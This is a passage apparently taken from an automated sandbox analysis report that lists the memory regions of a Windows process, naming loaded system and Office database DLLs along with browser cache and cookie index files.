region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 422 start_va = 0x7fefd130000 end_va = 0x7fefd152fff entry_point = 0x7fefd130000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 423 start_va = 0x7fefd1d0000 end_va = 0x7fefd1dafff entry_point = 0x7fefd1d0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 424 start_va = 0x7fefd200000 end_va = 0x7fefd224fff entry_point = 0x7fefd200000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 425 start_va = 0x7fefd230000 end_va = 0x7fefd23efff entry_point = 0x7fefd230000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 426 start_va = 0x7fefd2e0000 end_va = 0x7fefd31cfff entry_point = 0x7fefd2e0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 427 start_va = 0x7fefd320000 end_va = 0x7fefd333fff entry_point = 0x7fefd320000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 428 start_va = 0x7fefd340000 end_va = 0x7fefd34efff entry_point = 0x7fefd340000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 429 start_va = 0x7fefd3e0000 end_va = 0x7fefd3eefff entry_point = 0x7fefd3e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 430 start_va = 0x7fefd3f0000 end_va = 0x7fefd429fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 431 start_va = 0x7fefd430000 end_va = 0x7fefd49afff entry_point = 0x7fefd430000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 432 start_va = 0x7fefd540000 end_va = 0x7fefd575fff entry_point = 0x7fefd540000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 433 start_va = 0x7fefd580000 end_va = 0x7fefd599fff entry_point = 0x7fefd580000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 434 start_va = 0x7fefd5a0000 end_va = 0x7fefd706fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 435 start_va = 0x7fefd710000 end_va = 0x7fefd912fff entry_point = 0x7fefd710000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 436 start_va = 0x7fefd920000 end_va = 0x7fefd96cfff entry_point = 0x7fefd920000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 437 start_va = 0x7fefd970000 end_va = 0x7fefd98efff entry_point = 0x7fefd970000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 438 start_va = 0x7fefd990000 end_va = 0x7fefdb07fff entry_point = 0x7fefd990000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 439 start_va = 0x7fefdb10000 end_va = 0x7fefdce6fff entry_point = 0x7fefdb10000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 440 start_va = 0x7fefdcf0000 end_va = 0x7fefdd86fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 441 start_va = 0x7fefdd90000 end_va = 0x7fefdd9dfff entry_point = 0x7fefdd90000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 442 start_va = 0x7fefdda0000 end_va = 0x7fefde76fff entry_point = 0x7fefdda0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 443 start_va = 0x7fefde80000 end_va = 0x7fefdf1efff entry_point = 0x7fefde80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 444 start_va = 0x7fefdf20000 end_va = 0x7fefe028fff entry_point = 0x7fefdf20000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 445 start_va = 0x7fefe030000 end_va = 0x7fefe05dfff entry_point = 0x7fefe030000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 446 start_va = 0x7fefe060000 end_va = 0x7fefe0c6fff entry_point = 0x7fefe060000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 447 start_va = 0x7fefe0d0000 end_va = 0x7fefe1fcfff entry_point = 0x7fefe0d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 448 start_va = 0x7fefe2a0000 end_va = 0x7fefe37afff entry_point = 0x7fefe2a0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 449 start_va = 0x7fefe380000 end_va = 0x7fefe387fff entry_point = 0x7fefe380000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 450 start_va = 0x7fefe390000 end_va = 0x7fefe4b9fff entry_point = 0x7fefe390000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 451 start_va = 0x7fefe4c0000 end_va = 0x7fefe588fff entry_point = 0x7fefe4c0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 452 start_va = 0x7fefe590000 end_va = 0x7fefe628fff entry_point = 0x7fefe590000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 453 start_va = 0x7fefe630000 end_va = 0x7fefe888fff entry_point = 0x7fefe630000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 454 start_va = 0x7fefe890000 end_va = 0x7fefe8e1fff entry_point = 0x7fefe890000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 455 start_va = 0x7fefe8f0000 end_va = 0x7fefe960fff entry_point = 0x7fefe8f0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 456 start_va = 0x7fefe970000 end_va = 0x7feff6f7fff entry_point = 0x7fefe970000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 457 start_va = 0x7feff710000 end_va = 0x7feff710fff entry_point = 0x7feff710000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 458 start_va = 0x7fffff62000 end_va = 0x7fffff63fff entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 459 start_va = 0x7fffff64000 end_va = 0x7fffff65fff entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 460 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 461 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 462 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 463 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 464 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 465 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 466 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 467 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 468 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 469 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 470 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 471 start_va = 0x7fffff80000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 472 start_va = 0x7fffff90000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 473 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 474 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 475 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 476 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 477 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 478 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 479 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 480 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 481 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 482 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 483 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 484 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 485 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 486 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 487 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 488 start_va = 0xa320000 end_va = 0xa41ffff entry_point = 0x0 region_type = private name = "private_0x000000000a320000" filename = "" Region: id = 489 start_va = 0xabf0000 end_va = 0xaceffff entry_point = 0x0 region_type = private name = "private_0x000000000abf0000" filename = "" Region: id = 490 start_va = 0xb0c0000 end_va = 0xb1bffff entry_point = 0x0 region_type = private name = "private_0x000000000b0c0000" filename = "" Region: id = 491 start_va = 0xb330000 end_va = 0xb42ffff entry_point = 0x0 region_type = private name = "private_0x000000000b330000" filename = "" Region: id = 492 start_va = 0x7fef9110000 end_va = 0x7fef914afff entry_point = 0x7fef9110000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 493 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 494 start_va = 0x7fffff60000 end_va = 0x7fffff61fff entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 495 start_va = 0x7fffff66000 end_va = 0x7fffff67fff entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 496 start_va = 0x7fffff68000 end_va = 0x7fffff69fff entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 497 start_va = 0x727f0000 end_va = 0x73b45fff entry_point = 0x727f0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 498 start_va = 0x7fefa940000 end_va = 0x7fefa957fff entry_point = 0x7fefa940000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 499 start_va = 0x7fefa930000 end_va = 0x7fefa939fff entry_point = 0x7fefa930000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 500 start_va = 0x7fefa900000 end_va = 0x7fefa921fff entry_point = 0x7fefa900000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 501 start_va = 0x7fee7e50000 end_va = 0x7fee7ec2fff entry_point = 0x7fee7e50000 region_type = mapped_file name = "ieproxy.dll" filename = "\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll") Region: id = 502 start_va = 0x6030000 end_va = 0x603ffff entry_point = 0x0 region_type = private name = "private_0x0000000006030000" filename = "" Region: id = 503 start_va = 0x7fee7d80000 end_va = 0x7fee7e41fff entry_point = 0x7fee7d80000 region_type = mapped_file name = "mssvp.dll" filename = "\\Windows\\System32\\mssvp.dll" (normalized: "c:\\windows\\system32\\mssvp.dll") Region: id = 504 start_va = 0x7fef7aa0000 end_va = 0x7fef7abafff entry_point = 0x7fef7aa0000 region_type = mapped_file name = "mapi32.dll" filename = "\\Windows\\System32\\mapi32.dll" (normalized: "c:\\windows\\system32\\mapi32.dll") Region: id = 505 start_va = 0x6040000 end_va = 0x6041fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006040000" filename = "" Region: id = 506 start_va = 0x7fee7b00000 end_va = 0x7fee7d70fff entry_point = 0x7fee7b00000 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\System32\\wpdshext.dll" (normalized: "c:\\windows\\system32\\wpdshext.dll") Region: id = 507 start_va = 0x7fef9310000 end_va = 0x7fef93ccfff entry_point = 0x7fef9310000 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 508 start_va = 0x6050000 end_va = 0x6051fff entry_point = 0x6050000 region_type = mapped_file name = "mssvp.dll.mui" filename = "\\Windows\\System32\\en-US\\mssvp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mssvp.dll.mui") Region: id = 509 start_va = 0x7fef7860000 end_va = 0x7fef7886fff entry_point = 0x7fef7860000 region_type = mapped_file name = "ehstorapi.dll" filename = "\\Windows\\System32\\EhStorAPI.dll" (normalized: "c:\\windows\\system32\\ehstorapi.dll") Region: id = 510 start_va = 0x6060000 end_va = 0x6060fff entry_point = 0x0 region_type = private name = "private_0x0000000006060000" filename = "" Region: id = 511 start_va = 0x7fef7610000 end_va = 0x7fef76fdfff entry_point = 0x7fef7610000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 512 start_va = 0x5420000 end_va = 0x5420fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005420000" filename = "" Region: id = 513 start_va = 0x5430000 end_va = 0x5431fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005430000" filename = "" Region: id = 514 start_va = 0x5440000 end_va = 0x5441fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005440000" filename = "" Region: id = 515 start_va = 0x5450000 end_va = 0x5450fff entry_point = 0x0 region_type = private name = "private_0x0000000005450000" filename = "" Region: id = 516 start_va = 0x5460000 end_va = 0x5461fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005460000" filename = "" Region: id = 517 start_va = 0x5530000 end_va = 0x5530fff entry_point = 0x0 region_type = private name = "private_0x0000000005530000" filename = "" Region: id = 518 start_va = 0x6110000 end_va = 0x6110fff entry_point = 0x0 region_type = private name = "private_0x0000000006110000" filename = "" Region: id = 519 start_va = 0xa550000 end_va = 0xa5cffff entry_point = 0x0 region_type = private name = "private_0x000000000a550000" filename = "" Region: id = 520 start_va = 0xaeb0000 end_va = 0xaf2ffff entry_point = 0x0 region_type = private name = "private_0x000000000aeb0000" filename = "" Region: id = 521 start_va = 0xb490000 end_va = 0xb58ffff entry_point = 0x0 region_type = private name = "private_0x000000000b490000" filename = "" Region: id = 522 start_va = 0xb590000 end_va = 0xc55ffff entry_point = 0x0 region_type = private name = "private_0x000000000b590000" filename = "" Region: id = 523 start_va = 0xc560000 end_va = 0xd55ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c560000" filename = "" Region: id = 524 start_va = 0xd560000 end_va = 0xd9defff entry_point = 0x0 region_type = private name = "private_0x000000000d560000" filename = "" Region: id = 525 start_va = 0x7fee7d40000 end_va = 0x7fee7e4dfff entry_point = 0x7fee7d40000 region_type = mapped_file name = "oledb32.dll" filename = "\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll") Region: id = 526 start_va = 0x7fef7a90000 end_va = 0x7fef7ab7fff entry_point = 0x7fef7a90000 region_type = mapped_file name = "msdart.dll" filename = "\\Windows\\System32\\msdart.dll" (normalized: "c:\\windows\\system32\\msdart.dll") Region: id = 527 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 528 start_va = 0xdb60000 end_va = 0xdbdffff entry_point = 0x0 region_type = private name = "private_0x000000000db60000" filename = "" Region: id = 529 start_va = 0x750f0000 end_va = 0x75103fff entry_point = 0x750f0000 region_type = mapped_file name = "oledb32r.dll" filename = "\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll") Region: id = 530 start_va = 0x7fee7b90000 end_va = 0x7fee7d3ffff entry_point = 0x7fee7b90000 region_type = mapped_file name = "comsvcs.dll" filename = "\\Windows\\System32\\comsvcs.dll" (normalized: "c:\\windows\\system32\\comsvcs.dll") Region: id = 531 start_va = 0x8760000 end_va = 0x881ffff entry_point = 0x8760000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 532 start_va = 0x7fef7af0000 end_va = 0x7fef7b0dfff entry_point = 0x7fef7af0000 region_type = mapped_file name = "hlink.dll" filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll") Region: id = 533 start_va = 0xdbe0000 end_va = 0xdf22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000dbe0000" filename = "" Region: id = 534 start_va = 0x73da0000 end_va = 0x73da2fff entry_point = 0x73da0000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 535 start_va = 0x7fefa160000 end_va = 0x7fefa16ffff entry_point = 0x7fefa160000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 536 start_va = 0x7fee7490000 end_va = 0x7fee7b8dfff entry_point = 0x7fee7490000 region_type = mapped_file name = "csi.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\csi.dll") Region: id = 537 start_va = 0x7fefb1d0000 end_va = 0x7fefb1fffff entry_point = 0x7fefb1d0000 region_type = mapped_file name = "peerdist.dll" filename = "\\Windows\\System32\\PeerDist.dll" (normalized: "c:\\windows\\system32\\peerdist.dll") Region: id = 538 start_va = 0x7fefc6e0000 end_va = 0x7fefc6fdfff entry_point = 0x7fefc6e0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 539 start_va = 0x7fefce20000 end_va = 0x7fefce4efff entry_point = 0x7fefce20000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 540 start_va = 0x5540000 end_va = 0x554ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005540000" filename = "" Region: id = 541 start_va = 0x5550000 end_va = 0x555ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005550000" filename = "" Region: id = 542 start_va = 0xa420000 end_va = 0xa51ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a420000" filename = "" Region: id = 543 start_va = 0x7fef29e0000 end_va = 0x7fef2a48fff entry_point = 0x7fef29e0000 region_type = mapped_file name = "aceoledb.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\aceoledb.dll") Region: id = 544 start_va = 0x7fee7240000 end_va = 0x7fee748afff entry_point = 0x7fee7240000 region_type = mapped_file name = "acecore.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\acecore.dll") Region: id = 545 start_va = 0xad30000 end_va = 0xae2ffff entry_point = 0x0 region_type = private name = "private_0x000000000ad30000" filename = "" Region: id = 546 start_va = 0xb1c0000 end_va = 0xb2bffff entry_point = 0x0 region_type = private name = "private_0x000000000b1c0000" filename = "" Region: id = 547 start_va = 0xda00000 end_va = 0xdafffff entry_point = 0x0 region_type = private name = "private_0x000000000da00000" filename = "" Region: id = 548 start_va = 0xdf30000 end_va = 0x11f2ffff entry_point = 0x0 region_type = private name = "private_0x000000000df30000" filename = "" Region: id = 549 start_va = 0x7fee7160000 end_va = 0x7fee7234fff entry_point = 0x7fee7160000 region_type = mapped_file name = "acewstr.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\1033\\acewstr.dll") Region: id = 550 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 551 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 552 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 553 start_va = 0x5ff0000 end_va = 0x5ffffff entry_point = 0x0 region_type = private name = "private_0x0000000005ff0000" filename = "" Region: id = 554 start_va = 0x6000000 end_va = 0x600ffff entry_point = 0x0 region_type = private name = "private_0x0000000006000000" filename = "" Region: id = 555 start_va = 0x7fef7a70000 end_va = 0x7fef7a7dfff entry_point = 0x7fef7a70000 region_type = mapped_file name = "aceerr.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\aceerr.dll") Region: id = 556 start_va = 0x7fef3340000 end_va = 0x7fef3374fff entry_point = 0x7fef3340000 region_type = mapped_file name = "aceintl.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\1033\\aceintl.dll") Region: id = 557 start_va = 0x7fee7080000 end_va = 0x7fee7152fff entry_point = 0x7fee7080000 region_type = mapped_file name = "acees.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\acees.dll") Region: id = 558 start_va = 0x74e90000 end_va = 0x74f61fff entry_point = 0x74e90000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\System32\\msvcr100.dll" (normalized: "c:\\windows\\system32\\msvcr100.dll") Region: id = 559 start_va = 0x7fef7a60000 end_va = 0x7fef7a67fff entry_point = 0x7fef7a60000 region_type = mapped_file name = "vbajet32.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\vbajet32.dll") Region: id = 560 start_va = 0x60f0000 end_va = 0x60fffff entry_point = 0x0 region_type = private name = "private_0x00000000060f0000" filename = "" Region: id = 561 start_va = 0xaad0000 end_va = 0xabcffff entry_point = 0x0 region_type = private name = "private_0x000000000aad0000" filename = "" Region: id = 562 start_va = 0x7fee7000000 end_va = 0x7fee7079fff entry_point = 0x7fee7000000 region_type = mapped_file name = "expsrv.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\expsrv.dll") Region: id = 585 start_va = 0x6000000 end_va = 0x6009fff entry_point = 0x6000000 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 586 start_va = 0x6040000 end_va = 0x6041fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006040000" filename = "" Region: id = 587 start_va = 0x6050000 end_va = 0x605ffff entry_point = 0x0 region_type = private name = "private_0x0000000006050000" filename = "" Region: id = 588 start_va = 0x6070000 end_va = 0x607ffff entry_point = 0x6070000 region_type = mapped_file name = "index.dat" filename = "\\Users\\qj4SUKboE\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 589 start_va = 0x6080000 end_va = 0x608ffff entry_point = 0x0 region_type = private name = "private_0x0000000006080000" filename = "" Region: id = 590 start_va = 0x6090000 end_va = 0x6097fff entry_point = 0x6090000 region_type = mapped_file name = "index.dat" filename = "\\Users\\qj4SUKboE\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\qj4sukboe\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 591 start_va = 0x60a0000 end_va = 0x60b3fff entry_point = 0x60a0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\qj4SUKboE\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 592 start_va = 0xad40000 end_va = 0xae3ffff entry_point = 0x0 region_type = private name = "private_0x000000000ad40000" filename = "" Region: id = 593 start_va = 0xb1d0000 end_va = 0xb2cffff entry_point = 0x0 region_type = private name = "private_0x000000000b1d0000" filename = "" Region: id = 594 